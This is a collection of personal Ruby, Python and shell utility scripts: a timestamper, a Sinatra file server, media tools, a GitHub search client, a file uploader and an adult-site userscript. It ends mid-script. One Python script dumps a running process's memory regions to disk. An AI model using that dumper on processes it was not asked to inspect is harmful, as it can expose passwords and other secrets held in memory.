<file_sep>#!/usr/bin/env ruby def usage puts DATA.read end def nice_stamp(usec=false) # %L = usec, %N = nsec fmt = usec ? "%Y-%m-%d %H:%M:%S:%L" : "%Y-%m-%d %H:%M:%S" Time.now.strftime(fmt) end args = ARGV if STDIN.tty? if args.delete("--help") or args.delete("-h") usage exit elsif args.delete("-n") or args.delete("--nice") puts nice_stamp else puts Time.now.to_i end else usec = args.include?("-u") STDIN.each_line do |line| STDOUT.puts "[#{nice_stamp(usec)}] #{line}" STDOUT.flush end end __END__ usage: $ timestamp => print the number of seconds since Jan 1 1970 $ some command | timestamp => print each line of the input, prefixed with "[YYYY-MM-DD HH:MM:SS] " $ some command | timestamp -u => same as previous, but with usec resolution <file_sep>#!/usr/bin/env ruby ########################################################################### if ARGV.any? { |arg| ["-h", "--help"].include? arg } puts puts "usage:" puts " serve <directory> [host[:port]]" puts exit end ########################################################################### if __FILE__[/serve-dev\.rb$/] require 'sinatra/reloader' else ENV["RACK_ENV"] = "production" end require 'sinatra' require 'haml' # require 'tilt/haml' # require 'tilt/coffee' require 'socket' require 'epitools/core_ext' require 'epitools/rash' require 'pathname' ########################################################################### # Defaults port = 8888 host = "0.0.0.0" public_dir = Dir.pwd # Parse commandline arguments (root dir or port) ARGV.each do |arg| case arg when /^\d{2,5}$/ port = arg.to_i when /^(\w+):(\d+)$/, /^([\d\.]+):(\d+)$/ host = $1 port = $2.to_i else if File.directory? arg public_dir = arg else puts "Error: #{arg.inspect} is not a directory." exit 1 end end end ########################################################################### # begin # require 'puma' # set :server, :puma # rescue LoadError # end set :machine_name, Socket.gethostname set :bind, host set :port, port set :assets, Pathname.new(__FILE__).expand_path.dirname / "assets" set :root_dir, Pathname.new(public_dir).expand_path set :public_folder, nil mime_type :mkv, 'video/x-matroska' disable :sessions puts %q{ ____ _ _ _ / ___| ___ _ ____ _(_)_ __ __ _ _ __ ___ ___ __| (_) __ _ \___ \ / _ \ '__\ \ / / | '_ \ / _` | | '_ ` _ \ / _ \/ _` | |/ _` | ___) | __/ | \ V /| | | | | (_| | | | | | | | __/ (_| | | (_| |_ _ _ |____/ \___|_| \_/ |_|_| |_|\__, | |_| |_| |_|\___|\__,_|_|\__,_(_|_|_) |___/ } puts if host == "0.0.0.0" Socket.ip_address_list.each do |addr| puts "ADDRESS: http://#{addr.ip_address}:#{port}/" if addr.afamily == 2 end else puts "ADDRESS: http://#{host}:#{port}/" end puts " SOURCE: #{settings.root_dir}" puts ########################################################################### helpers do def highlight(thing, regexp) thing.to_s.gsub(regexp) { |m| "<mark>#{m}</mark>" } end def current_full_url "#{request.base_url}#{request.fullpath}" end def current_url "#{request.base_url}#{request.path}" end def url_for(relative_path) "#{request.base_url}/#{"#{@fullpath}/" if @fullpath.any?}#{relative_path}" end end ########################################################################### class Pathname alias_method :relative_to, :relative_path_from alias_method :ls, :children alias_method :exists?, :exist? alias_method :dir?, :directory? def relative_name(root) dir = dir? name = relative_to(root).to_s dir ? "#{name}/" : name end def name if dir? "#{basename}/" else "#{basename}" end end TYPES = Rash.new( /\.(avi|ogm|webm|mpv|mp4|m4v|mkv|mj?pe?g|flv|mov|wmv)$/ => "video", /(^README|\.(pdf|doc|txt|srt|sub|nfo)$)/ => "doc", /\.(jpe?g|gif|png)$/ => "image", /\.(mp3|ogg|m4a|aac|flac)$/ => "audio", ) def type dir? ? "dir" : TYPES[basename.to_s] || "file" end def video?; type == "video"; end def audio?; type == "audio"; end def doc?; type == "doc"; end def image?; type == "image"; end def media?; %w[audio video doc image].include? type; end def icon if dir? "/_/dir.gif" else "/_/#{type}.gif" end end SORT_METHOD = { "date" => :cmp_date, "size" => :cmp_size, "type" => :cmp_type, "name" => :cmp_name, } def children_sorted_by(sort="name") method = SORT_METHOD[sort] || :cmp_name children.select(&:exist?).sort_by &method end def cmp_date -mtime.to_i end def cmp_size [dir? ? 0 : -size, cmp_name] end def cmp_type [type, cmp_name] end def cmp_name [dir? ? 0 : 1, to_s.downcase] end # # Read xattrs from file (requires "getfattr" to be in the path) # def getxattrs # # file: Scissor_Sisters_-_Invisible_Light.flv # user.m.options="-c" cmd = %w[getfattr -d -m - -e base64] + [realpath.to_s] attrs = {} IO.popen(cmd, "rb", :err=>[:child, :out]) do |io| io.each_line do |line| if line =~ /^([^=]+)=0s(.+)/ key = $1 value = $2.from_base64 # unpack base64 string # value = value.encode("UTF-8", "UTF-8") # set string's encoding to UTF-8 value = value.force_encoding("UTF-8").scrub # set string's encoding to UTF-8 # value = value.encode("UTF-8", "UTF-8") # set string's encoding to UTF-8 attrs[key] = value end end end attrs end end ########################################################################### class Time def formatted_like_ls if year == Time.now.year fmt = "%b %d %H:%M" else fmt = "%b %d %Y" end strftime(fmt) end def rfc822 strftime("%a, %-d %b %Y %T %z") end alias_method :rss, :rfc822 end ########################################################################### def moin2md(moin) convert_tables = proc do |s| result = [] chunks = s.each_line.chunk { |line| line.match? /^\s*\|\|.*\|\|\s*$/ } chunks.each do |is_table, lines| if is_table result << "<table>" lines.map do |line| cols = line.scan(/(?<=\|\|)([^\|]+)(?=\|\|)/).flatten result << " <tr>" result << " <td>#{cols.join("</td><td>")}</td>" result << " </tr>" end result << "</table>" else result = lines.to_a end end result.join end markdown = moin. gsub(/^(={1,5}) (.+) =+$/) { |m| ("#" * $1.size ) + " " + $2 }. # headers gsub(/'''/, "__"). # bolds gsub(/''/, "_"). # italics gsub(/\{\{(?:attachment:)?(.+)\}\}/, "![](\\1)"). # images gsub(/\[\[(.+)\|(.+)\]\]/, "[\\2](\\1)"). # links w/ desc gsub(/\[\[(.+)\]\]/, "[\\1](\\1)"). # links w/o desc gsub(/^#acl .+$/, ''). # remove ACLs gsub(/^<<TableOfContents.+$/, ''). # remove TOCs gsub(/^## page was renamed from .+$/, ''). # remove 'page was renamed' # TODO: use `html-renderer` to convert it to ANSI gsub(/^\{\{\{\n^#!raw\n(.+)\}\}\}$/m, "\\1"). # remove {{{#!raw}}}s # TODO: convert {{{\n#!highlight lang}}}s (2-phase: match {{{ }}}'s, then match first line inside) gsub(/\{\{\{\n?#!(?:highlight )?(\w+)\n(.+)\n\}\}\}$/m, "```\\1\n\\2\n```"). # convert {{{#!highlight lang }}} to ```lang ``` gsub(/\{\{\{\n(.+)\n\}\}\}$/m, "```\n\\1\n```") # convert {{{ }}} to ``` ``` markdown = convert_tables[markdown] markdown end def moin2md(moin) convert_tables = proc do |s| result = [] chunks = s.each_line.chunk { |line| line.match? /^\s*\|\|.*\|\|\s*$/ } flattened = chunks.map do |is_table, lines| if is_table lines.map.with_index do |line,i| cols = line.scan(/(?<=\|\|)([^\|]+)(?=\|\|)/).flatten newline = cols.join(" | ") newline << " |" if cols.size == 1 newline << "\n" if i == 0 sep = cols.map { |col| "-" * col.size }.join("-|-") + "\n" if cols.all? { |col| col.match? /__.+__/ } # table has headers! [newline, sep] else empty_header = (["..."]*cols.size).join(" | ") + "\n" [empty_header, sep, newline] end else newline end end else lines end end.flatten flattened.join end markdown = moin. gsub(/^(={1,5}) (.+) =+$/) { |m| ("#" * $1.size ) + " " + $2 }. # headers gsub(/'''/, "__"). # bolds gsub(/''/, "_"). # italics gsub(/\{\{(?:attachment:)?(.+)\}\}/, "![](\\1)"). # images gsub(/\[\[(.+)\|(.+)\]\]/, "[\\2](\\1)"). # links w/ desc gsub(/\[\[(.+)\]\]/, "[\\1](\\1)"). # links w/o desc gsub(/^#acl .+$/, ''). # remove ACLs gsub(/^<<TableOfContents.+$/, ''). # remove TOCs gsub(/^## page was renamed from .+$/, ''). # remove 'page was renamed' # TODO: use `html-renderer` to convert it to ANSI gsub(/^\{\{\{\n^#!raw\n(.+)\}\}\}$/m, "\\1"). # remove {{{#!raw}}}s # TODO: convert {{{\n#!highlight lang}}}s (2-phase: match {{{ }}}'s, then match first line inside) gsub(/\{\{\{\n?#!(?:highlight )?(\w+)\n(.+)\n\}\}\}$/m, "```\\1\n\\2\n```"). # convert {{{#!highlight lang }}} to ```lang ``` gsub(/\{\{\{\n(.+)\n\}\}\}$/m, "```\n\\1\n```") # convert {{{ }}} to ``` ``` markdown = convert_tables[markdown] markdown end ########################################################################### def flip_order(order) order == "reversed" ? "forwards" : "reversed" end def sort_params(field, current_sort, current_order) current_sort ||= "name" next_order = "forwards" next_order = flip_order(current_order) if current_sort == field "?sort=#{field}&order=#{next_order}" end ########################################################################### ########################################################################### # # Secret assets directory # get '/_/*' do |path| if path == "default.css" content_type :css settings.templates[:css].first elsif path == "main.js" content_type :js settings.templates[:js].first else send_file settings.assets / path end end # # Regular directories # get '/*' do |path| @path = settings.root_dir / path @relative_path = @path.relative_to(settings.root_dir) @root_dir_name = settings.root_dir.basename @fullpath = @relative_path.to_s @fullpath = "" if @fullpath == "." return not_found unless @path.exists? # # Serve a file # unless @path.directory? css = settings.templates[:css].first return \ case @path.extname when ".haml" haml @path.read, layout: false when ".md" output = markdown @path.read, layout: false "<style>code { white-space: pre-wrap; }</style>\n" + output when ".moin" output = markdown(moin2md(@path.read), layout: false) # "<style>code { white-space: pre-wrap; }</style>\n" + output "<style>#{css}</style>\n" + output when ".swf" if params[:file] send_file @path else haml :swf, layout: false end else case request.env["HTTP_ACCEPT"] when "metadata", "application/metadata+json" @path.getxattrs.to_json else send_file @path end end end # # Everything that's not a file # if params[:search] # TODO: link to directories # SEARCH if params[:throbber] @redirect = "/#{path}?search=#{params[:search]}" return haml :throbber end # Turn query into a regexp union = Regexp.union params[:search].split @query = /#{union.source}/i # @matches = @path.find.select(&:exist?).map do |file| # begin # rel = file.relative_to(@path) # file if rel.to_s =~ @query # rescue ArgumentError # end # end.compact # Search directory tree for files # @matches = @path.find.select(&:exist?).map do |file| @matches = Dir["#{@path}/**/*"].select { |file| file =~ @query rescue nil }.map do |file| file = Pathname.new(file) next unless file.exists? rel = file.relative_to(@path) file if rel.to_s =~ @query end.compact # Group by dirs @grouped = @matches.group_by { |file| file.dirname } haml :search elsif feedtype = params[:rss] # RSS @files = @path.children_sorted_by("date") case feedtype when "video" @files = @files.select(&:video?) when "audio" @files = @files.select(&:audio?) when "doc" @files = @files.select(&:doc?) else @files = @files.select(&:media?) end content_type :atom # application/atom+xml haml :rss, layout: false else # FILES @sort = params[:sort] || "name" @files = @path.children_sorted_by(@sort) if @order = params[:order] @files.reverse! if @order == "reversed" else @order = "forwards" end haml :files end end not_found do 'Try again!' end ########################################################################### __END__ @@css body { background-color: ffffff; font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; } /* body { background-color: #111111; color: #44aa44; font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; } */ #search { position: absolute; right: 5px; top: 5px; } #rss { position: absolute; right: 300px; top: 5px; } /* Directory Listing Header - "Filename", "Size" */ td { vertical-align: top; font-size: 10pt; } td a { display: block; width: 100%; } thead { font-weight: bold; color: #eee; } thead td { background-color: #777; } thead a:link, thead a:visited, thead a:active, thead a:hover { color: #eee; } // https://css-tricks.com/snippets/html/responsive-meta-tag/ /* File Entries Within Listing */ .filefont { font-size: 10pt; } /* Alternating Background Colors Within Listing */ .grey { background-color: #eeeeee; } /* Link Formatting */ a { text-decoration: none; } /* remove default underline from link */ a:link { color: #0000ff } /* color for unvisited links */ a:visited { color: #000099 } /* color for visited links */ a:active { color: #990000 } /* color when link is clicked */ a:hover { color: #0000FF; text-decoration: underline } dt { font-weight: bold; } dd { margin-bottom: 5px; } pre { margin: 0; } @@layout !!! %html %head %meta{:content => "text/html; charset=UTF-8", "http-equiv" => "Content-Type"} %meta{:name => "viewport", :content => "width=device-width, initial-scale=1"} %title [#{settings.machine_name}] #{@root_dir_name} / #{@fullpath} %link{href: "/_/default.css", rel: "stylesheet", type: "text/css"} %script{src: "/_/main.js"} %body %h2 [#{settings.machine_name}] %a{href: "/"} #{@root_dir_name} - @relative_path.descend do |fn| - next if fn.to_s == "." \/ %a{href: "/#{fn}/"}= fn.basename #rss - %w[video audio doc].each do |type| %a{href: "?rss=#{type}"} %img{src: "/_/#{type}.gif"} %form#search %input{name: "search", placeholder: "Search", value: params[:search]} %input{type: "hidden", name: "throbber", value: "true"} / %input{type: "submit"} = yield @@files %table{cellpadding: 3} / HEADERS %thead %tr %td %a{href: sort_params("type", @sort, @order)} &nbsp; %td %a{href: sort_params("name", @sort, @order)} Filename %td{align: "right"} %a{href: sort_params("size", @sort, @order)} Size %td %a{href: sort_params("date", @sort, @order)} Date / FILE LISTING %tbody - @files.each_with_index do |file,i| %tr{class: (i % 2 == 0 ? "grey" : "")} / ICON %td.icon %img{src: file.icon} / NAME %td{style: "min-width:100px"} %a{href: file.name.urlencode}= file.name / SIZE %td{nowrap: true, align: 'right'} = file.dir? ? "" : file.size.commatize / DATE %td{nowrap: true, align: 'right'} = file.mtime.formatted_like_ls @@throbber %meta{"http-equiv": "refresh", content: "0;URL=#{@redirect}"} %h2 Searching for: %mark= params[:search] %img{src: "/_/throbber.gif"} @@search %h2 Results for: %mark= params[:search] - @grouped.each do |dir, files| %h4 %a{href: "/#{dir.relative_name(@path)}"} = highlight(dir.relative_name(@path), @query) %ul - files.each do |file| %a{href: file.relative_name(@path)} = highlight(file.relative_name(dir), @query) %br @@rss !!! XML %rss(version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom") %channel %title [#{settings.machine_name}]/#{@root_dir_name}/ %link #{current_url} %atom:link(href="#{current_full_url}" rel="self" type="application/rss+xml") %language en-US %lastBuildDate #{@files.first.mtime.rss} - @files.each do |file| %item %title #{file.basename} %link #{url_for(file.name)} %pubDate #{file.mtime.rss} @@swf !!! XML %head %title :css body { background-color: black; margin: 0 0 0 0; padding: 0 0 0 0; } %body %object{data: "#{@path.name}?file=yes", width: "100%", height: "100%"} @@js var init = function() { var empty_object = function(obj) { return Object.keys(obj).length === 0 && obj.constructor === Object } var get_metadata = function(url, callback) { console.log("getting metadata for:", url) var xhr = new XMLHttpRequest() xhr.open("GET", url) xhr.setRequestHeader("Accept", "application/metadata+json") xhr.onload = function() { callback(JSON.parse(xhr.responseText)) } xhr.send() } document.querySelectorAll(".icon").forEach(function(td) { var e = td.children[0] e.onclick = function() { var link_td = td.parentNode.children[1] var existing_metadata = link_td.querySelector(".metadata") if (existing_metadata) { existing_metadata.remove() } else { var url = link_td.querySelector("a")["href"] get_metadata(url, function(json) { var div = document.createElement("div") div.className = "metadata" if (empty_object(json)) { div.innerHTML = "<b>No metadata</b>" } else { html = "<dl>\n" for (var key in json) { html += "<dt>"+key.replace(/^user\.(dublincore\.)?/, '')+"</dt>\n" var val = json[key] console.log(key) if (key.match(/\.url$/)) { val = '<a href="'+val+'">'+val+'</a>' } else { val = "<pre>"+val+"</pre>" } html += "<dd>"+val+"</dd>\n" } html += "</dl>\n" div.innerHTML = html } link_td.appendChild(div) }) } } }) console.log("loaded!") } window.addEventListener("DOMContentLoaded", init, false) <file_sep>#!/usr/bin/env ruby require 'epitools' tree = {} `pacman -Qg`.each_line.with_index do |l,i| tree.mkdir_p l.split() if i % 5 == 0 $stdout.print "." $stdout.flush end end puts tree.each do |parent, children| puts "<8>== <14>#{parent} <8>===".colorize table = Term::Table.new(children.keys, indent: 1) puts table.in_columns.white puts end <file_sep>#!/usr/bin/env ruby gem "slop", "~> 3.6" require 'slop' require 'epitools' VIDEO_EXTS = %[mp4 mkv avi mov mpg mpeg m4v webm] AUDIO_EXTS = %[mp3 aac m4a] def parse_options #@opts ||= Slop.new @opts = Slop.parse(help: true, strict: true) do banner 'Usage: clip [options] <videos...>' on 'o=', 'output', 'The file to write the clip to.' on 'a=', 'acodec', 'Output audio codec (eg: mp3, aac)', default: "copy" on 'v=', 'vcodec', 'Output video codec', default: "copy" on 'c', 'codecs', 'List the availiable codecs' on 'b', 'bob', 'Bob deinterlace (using yadif)' on 'q=', 'quantizer','How quantized do you like it? (only matters when using vcodec)' on 's=', 'start', 'Start of clip (HH:MM:SS or SS format)' on 'e=', 'end', 'End of clip' on 'l=', 'length', 'Length of clip' on 'u=', 'use', 'Tool to use (ffmpeg, mencoder)', default: "ffmpeg" on 't=', 'tracks', 'Which tracks to copy (comma-separated, eg: "-t 0,3" or "-t a:0,v:2")' end end ## Time diffing COEFFS = [24*60*60, 60*60, 60, 1] def to_sec(t) bits = t.split(":").map{|x| x.to_i} bits.reverse.zip(COEFFS.reverse).map{|c,n| c*n}.sum end def to_time(s) result = COEFFS.map do |c| num, s = s.divmod(c) num end result.shift while result.first == 0 result.unshift 0 while result.size < 2 result.map{|n| "%0.2d" % n}.join(":") end def timediff(a,b) to_time(to_sec(b) - to_sec(a)) end ############################################################################# if $0 == __FILE__ opts = parse_options files = ARGV if opts.codecs? case opts[:use] when "ffmpeg" system("ffmpeg", "-codecs") when "mencoder" %w[oac ovc].each do |oac_or_ovc| system("mencoder", "-#{oac_or_ovc}", "help") end end exit end ## Files if files.size != 1 if files.any? puts "ERROR: More than one input file specified." else puts "ERROR: No input file specified." end exit 1 end infile = Path[files.first] outfile = Path[opts[:output]] unless infile.exists? or infile.url? puts "ERROR: Input file not found: #{infile}" exit 1 end ## Compute length start = opts[:start] length = opts[:length] if length.nil? and opts[:end] if start length = timediff(start, opts[:end]) else length = opts[:end] end end ## Create commandline unless outfile outfile = infile.url? ? Path[infile.filename] : infile outfile = outfile.with(basename: outfile.basename + "_clip-#{start}-#{length}") end if (VIDEO_EXTS+AUDIO_EXTS).include? infile.ext case opts[:use] when "ffmpeg" cmd = ["ffmpeg", "-hide_banner", "-i", infile.to_s] cmd += ["-codec:v", opts[:vcodec]] cmd += ["-crf", opts[:quantizer]] if opts.quantizer? cmd += ["-codec:a", opts[:acodec]] cmd += ["-codec:s", "copy"] cmd += ["-ss", start] if start cmd += ["-t", length] if length cmd += ["-vf", "yadif=1"] if opts.bob? if tracks = opts[:tracks] cmd += tracks.split(",").map {|t| ["-map", "0:#{t}"] }.flatten end cmd << outfile when "mencoder" cmd = [ "mencoder", infile, "-o", outfile, "-ss", start, "-of", "lavf", "-lavfopts", "format=#{outfile.ext}" ] cmd += ["-endpos", length] if length cmd += ["-ovc", opts[:vcodec]] case opts[:acodec] when "mp3" # -oac mp3lame -lameopts vbr=2:q=0:aq=0 or preset=standard (170-210kbps) cmd += ["-oac", "mp3lame"] else cmd += ["-oac", opts[:acodec]] end else raise "Unknown tool: #{opts[:use]}" end else raise "Unknown file type" end if outfile.exists? and opts[:use] != "ffmpeg" if prompt("Overwrite #{outfile}?", "yN") == "n" puts "Aborting..." exit end end ## Rip it! p cmd system(*cmd) end<file_sep>// ==UserScript== // @name xhamsterdance // @namespace xhamsterdance // @version 0.1 // @author You // @include https://*.xhamster.com/* // @include https://*.xvideos.com/* // @include https://*.pornhub.com/* // @grant none // ==/UserScript== (function() { 'use strict'; var onsite = (site) => { if (document.location.host.indexOf(site) >= 0) { console.log(`* making ${site} dance...`) return true } else { return false } } var video_html = (url) => { return `<video loop=true autoplay=true muted=true playsinline=true><source src='${url}'></video>` } var remove_node = (e) => { e.parentNode.removeChild(e) } var remove_handlers = (old_e) => { var e = old_e.cloneNode(true) old_e.parentNode.replaceChild(e, old_e) return e } console.log("* xhamsterdance initializing...") if (onsite("xhamster.com")) { document.querySelectorAll(".video-thumb__image-container").forEach((e) => { e = remove_handlers(e) var url = e.getAttribute("data-previewvideo") console.log(url) e.innerHTML = video_html(url) }) } else if (onsite("xvideos.com")) { document.querySelectorAll(".thumb img").forEach((e) => { var thumb = e.src var wide = thumb.indexOf("/thumbs169") !== -1 var ad = e.data && (e.data("isad") === !0) if (!ad) { var url = thumb.substring(0,thumb.lastIndexOf("/")).replace(/\/thumbs(169)?(xnxx)?l*\//,"/videopreview/")+(wide?"_169.mp4":"_43.mp4") console.log(url) e.parentNode.innerHTML = video_html(url) } else { console.log("ad") } }) } else if (onsite("pornhub.com")) { document.querySelectorAll("img.js-videoThumb").forEach((e) => { var url = e.getAttribute("data-mediabook") var a = e.parentNode a.innerHTML = video_html(url) }) document.querySelectorAll(".phimage .preloadLine").forEach((e) => { remove_node(e) }) } })(); <file_sep>#!/bin/bash exec bash -x "$@" <file_sep>#!/usr/bin/env python2 ##################################################################################################################### import sys import os import re from pprint import pprint ##################################################################################################################### def hex64(num): return "%0.16x" % (num) ##################################################################################################################### def includes(l, e): try: l.index(e) return True except ValueError: return False ##################################################################################################################### def partition(l,predicate): a = [] b = [] for e in l: if predicate(e): a.append(e) else: b.append(e) return (a,b) ##################################################################################################################### def help(): print("usage: dump-process-memory [options] <pid>") print("") print("options:") print(" -l include shared libs") print("") ##################################################################################################################### # # address perms offset dev inode pathname # 08048000-08056000 r-xp 00000000 03:0c 64593 /usr/sbin/gpm # # address - This is the starting and ending address of the region in the process's address space # permissions - This describes how pages in the region can be accessed. There are four different permissions: read, write, execute, and shared. If read/write/execute are disabled, a - will appear instead of the r/w/x. If a region is not shared, it is private, so a p will appear instead of an s. If the process attempts to access memory in a way that is not permitted, a segmentation fault is generated. Permissions can be changed using the mprotect system call. # offset - If the region was mapped from a file (using mmap), this is the offset in the file where the mapping begins. If the memory was not mapped from a file, it's just 0. # device - If the region was mapped from a file, this is the major and minor device number (in hex) where the file lives. # inode - If the region was mapped from a file, this is the file number. # pathname - If the region was mapped from a file, this is the name of the file. This field is blank for anonymous mapped regions. There are also special regions with names like [heap], [stack], or [vdso]. [vdso] stands for virtual dynamic shared object. It's used by system calls to switch to kernel mode. Here's a good article about it: "What is linux-gate.so.1?" # def parse_ranges(pid, include_libs=False): if include_libs: match = lambda x: (x.find("rw-p") >= 0) else: match = lambda x: (x.find(".so") < 0) and (x.find(" 0 ") >= 0) ranges = [] with open("/proc/%s/maps" % pid) as f: for line in f: if match(line): attrs = re.split(r"\s+", line.strip()) if len(attrs) == 6: range, perms, offset, dev, inode, file = attrs else: range, perms, offset, dev, inode = attrs file = None start, end = [ int(x, 16) for x in range.split("-") ] length = end - start fn_pieces = [hex64(start), perms] if file: fn_pieces.append(file.replace("/", " ").strip()) filename = " ".join(fn_pieces) + ".dump" ranges.append([start, length, filename]) return ranges ##################################################################################################################### opts, args = partition(sys.argv[1:], lambda arg: re.match(r"^-\w", arg)) if len(args) == 0: print("error: must supply pid") print("") help() sys.exit(1) for pid in args: ranges = parse_ranges(pid, include_libs=includes(opts, "-l")) dir = "pid-%s-dump" % pid os.mkdir(dir) print("* Dumping %s to %s:" % (pid, dir)) for pos, length, filename in ranges: with open("/proc/%s/mem" % pid, "rb") as mem: with open("%s/%s" % (dir, filename), "wb") as out: print(" |_ %s" % filename) mem.seek(pos) data = mem.read(length) out.write(data) <file_sep>c = get_config() # `prompt_toolkit` completer choices: ('column', 'multicolumn', 'readlinelike') c.TerminalInteractiveShell.display_completions = 'readlinelike' # shortcuts.py:85 binds tab to `display_completions_like_readline` c.TerminalInteractiveShell.pdb=True c.IPCompleter.use_jedi=False <file_sep>#!/bin/bash kcmshell4 kde-gtk-config <file_sep>#!/usr/bin/env ruby ################################################################### require 'json' require 'epitools/colored' require 'date' ################################################################### GITHUB_SEARCH_URL = 'https://api.github.com/search/repositories?q=%s&sort=stars&order=desc' GITHUB_STARS_URL = 'https://api.github.com/users/%s/starred?per_page=100' ################################################################### class String def tighten; gsub(/[\t ]+/,' ').strip; end def any?; not empty?; end def indent(prefix=" ") each_line.map { |line| prefix + line }.join('') end def as_date ::DateTime.parse(self).new_offset(Time.now.zone) end def nice_date as_date.strftime("%Y-%m-%d %H:%M:%S") end end class Numeric def commatize(char=",") int, frac = to_s.split(".") int = int.gsub /(\d)(?=\d{3}+(?:\.|$))(\d{3}\..*)?/, "\\1#{char}\\2" frac ? "#{int}.#{frac}" : int end end ################################################################### def get_results(url, headers={}) opts = headers.flat_map { |k,v| ["-H", "#{k}=#{v}"] } cmd = ["curl", "-Ss", *opts, url] begin data = IO.popen(cmd, &:read) JSON.parse(data) rescue Errno::ENOENT puts "Error: 'curl' isn't installed. You need this!" exit 1 end end ################################################################### # Handle ARGV opts, args = ARGV.partition { |arg| arg[/^--?\w/] } if args.empty? puts "Usage:" puts " #{__FILE__} <search query> => search respositories" puts " (Note: The query can contain github search operators, like 'language:ruby')" puts puts " #{__FILE__} -s <github user> => show stars for a user" puts exit 1 end if opts.include?("-s") # user's starred repos user = args.first url = GITHUB_STARS_URL % user puts "<8>* <7>Showing github stars for <13>#{user.inspect}<7>...".colorize results = get_results(url) #, "Accept" => "application/vnd.github.v3.star+json") else # query repos query = args.join("+") url = GITHUB_SEARCH_URL % query puts "<8>* <7>Searching github.com for <14>#{query.inspect}<7>...".colorize results = get_results(url)["items"] end puts puts "No results!" if results.empty? # print the results results.reverse.each do |item| # updated_at = item["updated_at"] name = item["full_name"] desc = item["description"] stars = item["stargazers_count"].to_i size = item["size"].to_i language = item["language"] url = item["clone_url"] puts "<8>=== <11>#{name} <7>(#{"<9>#{language}<8>, " if language}<10>#{stars.commatize} <2>stars<8>, <13>#{size.commatize}<5>KB<7>) <8>==============".colorize # puts " <9>#{updated_at.nice_date}".colorize if updated_at puts " <15>#{desc[0..255]}".colorize if desc puts " <3>#{url}".colorize puts end <file_sep>#!/bin/bash /usr/bin/dict $* | less -X -F <file_sep>#!/usr/bin/env ruby args = ARGV if args.empty? puts "usage: 0x0 <file or url>" exit 1 end args.each do |arg| puts "* Uploading: #{arg}" if arg =~ %r{^https?://.+} form = "url=#{arg}" else form = "file=@#{arg}" end cmd = [ "curl", "--compressed", "--progress-bar", %{-F#{form}}, "https://0x0.st" ] IO.popen(cmd, "r") {|io| puts io.read } puts end <file_sep>#!/bin/bash SECONDS=30 IMAGE=bufferbloat-test.png SERVER=netperf.bufferbloat.net echo "* Running bufferbloat (realtime response under load) test..." echo " |_ duration: $SECONDS seconds" echo " |_ server: $SERVER" flent rrul -p all_scaled -l $SECONDS -H $SERVER -t bufferbloat-test -o $IMAGE echo "Graph of performance written to ./$IMAGE" feh $IMAGE & <file_sep>#!/usr/bin/ruby # # SHUFFLE! v15.01 # ---------------------------------------------------------------------- # # Usage: # shuffle <mediatype (eg: images, videos, music, etc.)> <number of files, defaults to 100> # require 'epitools' MEDIA_DEFS = [ # type of thing players exts [ [/^image/, /^pic/, /^photo/], ["feh", "gthumb","ristretto","shotwell"], %w[jpg jpeg png gif] ], [ [/^mov/, /^vid/], ["mpv", "mplayer", "totem"], %w[mp4 avi mov mpg mpeg flv wmv asf m4v ogm] ], [ [/^mus/, /^aud/, /^song/], ["audacious", "audacious2", "amarok -e"], %w[mp3 flac mp4 aac ogg] ], ] ################################################################################### args = ARGV opts = {num: 69, latest: false} if args.empty? or args.include? "--help" or args.include? "-h" puts "Usage:" puts " shuffle <name type of media> <amount>" puts "Purpose:" puts " Randomly plays media from the current directory tree." puts puts "Examples:" puts " shuffle pics" puts " shuffle 10 movies" puts " shuffle music 500" puts puts "Types:" MEDIA_DEFS.each do |names, bins, exts| puts " Regex to match the name of the media type:\n #{names.map(&:inspect).join(", ")}" puts " Extensions that it will try to load:\n #{exts.join(", ")}" puts " The program it'll try to use (in order):\n #{bins.join(", ")}" puts end exit 1 end args.each do |arg| case arg when /^(\d+)$/ num = $1.to_i opts[:num] = (num <= 0) ? -1 : num # <-- for picking 0..num from the shuffled aray when "latest", "last" opts[:latest] = true when /^\w+$/ for labels, players, exts, desc in MEDIA_DEFS if labels.any? { |pattern| pattern.match(arg) } opts[:player] = Path.which(*players).first opts[:exts] = exts opts[:desc] = arg end end end end #### puts "="*40 puts "Shuffle Options:" puts "-"*40 pp opts.dup.delete_if{|k,v| k == :exts} puts "="*40 #### #### glob_pattern = "**/*.{%s}" % opts[:exts].join(',') puts puts "+ Shuffling #{opts[:desc]}..." puts " |_ searching for: #{Dir.pwd}/#{glob_pattern}" # GLOB IT all_files = Path.glob(glob_pattern, File::FNM_CASEFOLD) # GROUP IT grouped = all_files.group_by { |filename| File.extname(filename)[1..-1].upcase }.sort_by{|k,v| -v.size} puts " |_ #{all_files.size} files found" for group, files in grouped puts " |_ #{files.size} #{group}s" end #### if opts[:latest] # Show the latest :num files selected_files = all_files.sort_by { |f| File.mtime(f) }.last(opts[:num]) else # Show :num random files selected_files = all_files.shuffle[0...opts[:num]] end puts puts "+ Sticking #{selected_files.size} random #{opts[:desc]} into #{opts[:player]}..." # Fork viewer into the background Process.daemon(true) exec(opts[:player], *selected_files) <file_sep>#!/bin/bash # download latest foobar-portable to ~/.foobar2000 FBHOME=~/.foobar2000 FBFN=foobar2000-portable-latest.zip FBURL=http://chris.ill-logic.com/files/$FBFN if [ ! -d "$FBHOME" ]; then echo echo "~/.foobar2000 not found... download?" echo "YES...." echo echo "#######################################" echo "DOWNLOADING FOOBAR2000 PORTABLE EDITION" echo "#######################################" echo mkdir "$FBHOME" wget -c $FBURL -O ~/.cache unzip ~/.cache/$FBFN "$FBHOME" fi echo "#####################################" echo "LAUNCHING FOOBAR2000 PORTABLE EDITION" echo "#####################################" echo # echo "Starting tray alert daemon..." # foo -n & echo "Starting foobar2000..." wine $FBHOME/foobar2000.exe echo "Terminating tray alert daemon..." #kill `jobs -p` <file_sep>#!/bin/bash make distclean && build <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: mailing-list-download <list archives url>" exit 1 fi getlinks "$@" | egrep '\.txt(\.gz)?$' | xargs -i get "{}" <file_sep>#!/usr/bin/env ruby # https://github.com/ytaka/ruby-wmctrl begin require 'wmctrl' rescue LoadError $stderr.puts "Please install the ruby-wmctrl gem ('gem install ruby-wmctrl')" exit 1 end wm = WMCtrl.instance desktop_id = wm.desktops.find(&:current).id other_windows = wm.windows(desktop: desktop_id, active: nil) current_window = wm.windows(desktop: desktop_id, active: true).first # Minimize it exit if other_windows.empty? if other_windows.all? {|w| w.state.include? "_NET_WM_STATE_HIDDEN" } action 